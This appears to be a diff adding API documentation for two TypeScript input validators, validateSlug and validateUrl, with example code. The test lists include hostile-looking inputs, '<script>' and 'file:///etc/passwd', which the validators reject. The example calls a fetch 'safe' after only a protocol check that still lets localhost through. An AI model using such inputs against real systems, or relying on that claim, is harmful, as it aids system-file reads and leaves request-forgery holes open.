|
+
}
|
|
560
|
+
}
|
|
561
|
+
|
|
562
|
+
main()
|
|
563
|
+
```
|
|
564
|
+
|
|
565
|
+
---
|
|
566
|
+
|
|
567
|
+
|
|
568
|
+
## `validateSlug`
|
|
569
|
+
|
|
570
|
+
```typescript
|
|
571
|
+
function validateSlug(input: string): string
|
|
572
|
+
```
|
|
573
|
+
|
|
574
|
+
Use this to validate that a string is a safe slug before using it in URLs, file paths, or database identifiers. Throws immediately if the input contains invalid characters, so you can catch bad data early.
|
|
575
|
+
|
|
576
|
+
**Validation rule:** Only alphanumeric characters (`a-z`, `A-Z`, `0-9`), hyphens (`-`), and underscores (`_`) are allowed. Spaces, dots, slashes, and any other special characters will cause a throw.
|
|
577
|
+
|
|
578
|
+
### Parameters
|
|
579
|
+
|
|
580
|
+
| Name | Type | Required | Description |
|
|
581
|
+
|------|------|----------|-------------|
|
|
582
|
+
| `input` | `string` | Yes | The string to validate as a slug |
|
|
583
|
+
|
|
584
|
+
### Returns
|
|
585
|
+
|
|
586
|
+
| Condition | Result |
|
|
587
|
+
|-----------|--------|
|
|
588
|
+
| Input matches `^[a-zA-Z0-9_-]+$` | Returns the original `input` string unchanged |
|
|
589
|
+
| Input contains any other character | Throws `Error: Invalid slug: <input>. Only alphanumeric, hyphens, and underscores allowed.` |
|
|
590
|
+
|
|
591
|
+
> **Tip:** The function returns the input as-is on success, making it easy to use inline: `const slug = validateSlug(userInput)`.
|
|
592
|
+
|
|
593
|
+
### Example
|
|
594
|
+
|
|
595
|
+
```typescript example.ts
|
|
596
|
+
// Inline implementation — no external imports needed
|
|
597
|
+
function validateSlug(input: string): string {
|
|
598
|
+
if (!/^[a-zA-Z0-9_-]+$/.test(input)) {
|
|
599
|
+
throw new Error(
|
|
600
|
+
`Invalid slug: ${input}. Only alphanumeric, hyphens, and underscores allowed.`
|
|
601
|
+
)
|
|
602
|
+
}
|
|
603
|
+
return input
|
|
604
|
+
}
|
|
605
|
+
|
|
606
|
+
// --- Valid slug examples ---
|
|
607
|
+
const validSlugs = [
|
|
608
|
+
"my-blog-post",
|
|
609
|
+
"user_profile_42",
|
|
610
|
+
"HelloWorld",
|
|
611
|
+
"2024-release-v2",
|
|
612
|
+
]
|
|
613
|
+
|
|
614
|
+
console.log("✅ Valid slugs:")
|
|
615
|
+
for (const slug of validSlugs) {
|
|
616
|
+
try {
|
|
617
|
+
const result = validateSlug(slug)
|
|
618
|
+
console.log(` validateSlug("${slug}") => "${result}"`)
|
|
619
|
+
// Output: validateSlug("my-blog-post") => "my-blog-post"
|
|
620
|
+
} catch (error) {
|
|
621
|
+
console.error(` Unexpected error for "${slug}":`, error)
|
|
622
|
+
}
|
|
623
|
+
}
|
|
624
|
+
|
|
625
|
+
// --- Invalid slug examples ---
|
|
626
|
+
const invalidSlugs = [
|
|
627
|
+
"hello world", // space
|
|
628
|
+
"post/title", // slash
|
|
629
|
+
"tag.name", // dot
|
|
630
|
+
"<script>", // special chars
|
|
631
|
+
"", // empty string
|
|
632
|
+
]
|
|
633
|
+
|
|
634
|
+
console.log("\n❌ Invalid slugs (expected errors):")
|
|
635
|
+
for (const slug of invalidSlugs) {
|
|
636
|
+
try {
|
|
637
|
+
validateSlug(slug)
|
|
638
|
+
console.error(` Expected error for "${slug}" but none was thrown`)
|
|
639
|
+
} catch (error) {
|
|
640
|
+
if (error instanceof Error) {
|
|
641
|
+
console.log(` validateSlug("${slug}") => throws: ${error.message}`)
|
|
642
|
+
// Output: throws: Invalid slug: hello world. Only alphanumeric, hyphens, and underscores allowed.
|
|
643
|
+
}
|
|
644
|
+
}
|
|
645
|
+
}
|
|
646
|
+
|
|
647
|
+
// --- Typical usage: validate before building a URL ---
|
|
648
|
+
function buildPostUrl(baseUrl: string, slugInput: string): string {
|
|
649
|
+
const slug = validateSlug(slugInput) // throws if invalid
|
|
650
|
+
return `${baseUrl}/posts/${slug}`
|
|
651
|
+
}
|
|
652
|
+
|
|
653
|
+
try {
|
|
654
|
+
const url = buildPostUrl("https://example.com", "my-awesome-post")
|
|
655
|
+
console.log("\n🔗 Built URL:", url)
|
|
656
|
+
// Output: https://example.com/posts/my-awesome-post
|
|
657
|
+
} catch (error) {
|
|
658
|
+
console.error("Failed to build URL:", error)
|
|
659
|
+
}
|
|
660
|
+
```
|
|
661
|
+
|
|
662
|
+
---
|
|
663
|
+
|
|
664
|
+
|
|
665
|
+
## `validateUrl`
|
|
666
|
+
|
|
667
|
+
```typescript
|
|
668
|
+
function validateUrl(input: string): string
|
|
669
|
+
```
|
|
670
|
+
|
|
671
|
+
Use this to validate and sanitize URL strings before making HTTP requests or storing user-provided URLs. Ensures the input is a well-formed URL with a safe protocol (`http:` or `https:`), throwing descriptive errors for invalid input.
|
|
672
|
+
|
|
673
|
+
## Parameters
|
|
674
|
+
|
|
675
|
+
| Name | Type | Required | Description |
|
|
676
|
+
|------|------|----------|-------------|
|
|
677
|
+
| `input` | `string` | ✅ | The URL string to validate. Must be a well-formed URL using `http:` or `https:` protocol. |
|
|
678
|
+
|
|
679
|
+
## Returns
|
|
680
|
+
|
|
681
|
+
| Condition | Result |
|
|
682
|
+
|-----------|--------|
|
|
683
|
+
| Valid `http://` or `https://` URL | Returns the original URL string |
|
|
684
|
+
| Malformed URL (unparseable) | Throws `Error` with parse details |
|
|
685
|
+
| Unsupported protocol (e.g. `ftp:`, `file:`) | Throws `Error: Invalid protocol: <protocol>` |
|
|
686
|
+
|
|
687
|
+
### Example
|
|
688
|
+
|
|
689
|
+
```typescript example.ts
|
|
690
|
+
// Inline implementation of validateUrl — no external imports needed
|
|
691
|
+
function validateUrl(input: string): string {
|
|
692
|
+
try {
|
|
693
|
+
const url = new URL(input)
|
|
694
|
+
if (!['http:', 'https:'].includes(url.protocol)) {
|
|
695
|
+
throw new Error(`Invalid protocol: ${url.protocol}`)
|
|
696
|
+
}
|
|
697
|
+
return input
|
|
698
|
+
} catch (err) {
|
|
699
|
+
if (err instanceof TypeError) {
|
|
700
|
+
throw new Error(`Invalid URL: ${input}`)
|
|
701
|
+
}
|
|
702
|
+
throw err
|
|
703
|
+
}
|
|
704
|
+
}
|
|
705
|
+
|
|
706
|
+
// --- Examples ---
|
|
707
|
+
|
|
708
|
+
const testCases = [
|
|
709
|
+
{ input: 'https://api.example.com/v1/data', label: 'Valid HTTPS URL' },
|
|
710
|
+
{ input: 'http://localhost:3000/health', label: 'Valid HTTP (localhost)' },
|
|
711
|
+
{ input: 'ftp://files.example.com/report', label: 'Unsupported protocol' },
|
|
712
|
+
{ input: 'file:///etc/passwd', label: 'Dangerous file protocol' },
|
|
713
|
+
{ input: 'not-a-url-at-all', label: 'Completely malformed' },
|
|
714
|
+
]
|
|
715
|
+
|
|
716
|
+
for (const { input, label } of testCases) {
|
|
717
|
+
try {
|
|
718
|
+
const result = validateUrl(input)
|
|
719
|
+
console.log(`✅ [${label}] => ${result}`)
|
|
720
|
+
// Output: ✅ [Valid HTTPS URL] => https://api.example.com/v1/data
|
|
721
|
+
// Output: ✅ [Valid HTTP (localhost)] => http://localhost:3000/health
|
|
722
|
+
} catch (error) {
|
|
723
|
+
console.error(`❌ [${label}] => ${(error as Error).message}`)
|
|
724
|
+
// Output: ❌ [Unsupported protocol] => Invalid protocol: ftp:
|
|
725
|
+
// Output: ❌ [Dangerous file protocol] => Invalid protocol: file:
|
|
726
|
+
// Output: ❌ [Completely malformed] => Invalid URL: not-a-url-at-all
|
|
727
|
+
}
|
|
728
|
+
}
|
|
729
|
+
|
|
730
|
+
// Practical usage: validate before fetching
|
|
731
|
+
async function safeFetch(rawUrl: string): Promise<void> {
|
|
732
|
+
try {
|
|
733
|
+
const validatedUrl = validateUrl(rawUrl)
|
|
734
|
+
console.log(`\nFetching: ${validatedUrl}`)
|
|
735
|
+
// const response = await fetch(validatedUrl) // safe to use here
|
|
736
|
+
} catch (error) {
|
|
737
|
+
console.error(`Blocked request — ${(error as Error).message}`)
|
|
738
|
+
}
|
|
739
|
+
}
|
|
740
|
+
|
|
741
|
+
safeFetch(process.env.TARGET_URL || 'https://api.example.com/v1/users')
|
|
742
|
+
// Output: Fetching: https://api.example.com/v1/users
|
|
743
|
+
```
|
|
744
|
+
|
|
745
|
+
---
|
|
746
|
+
|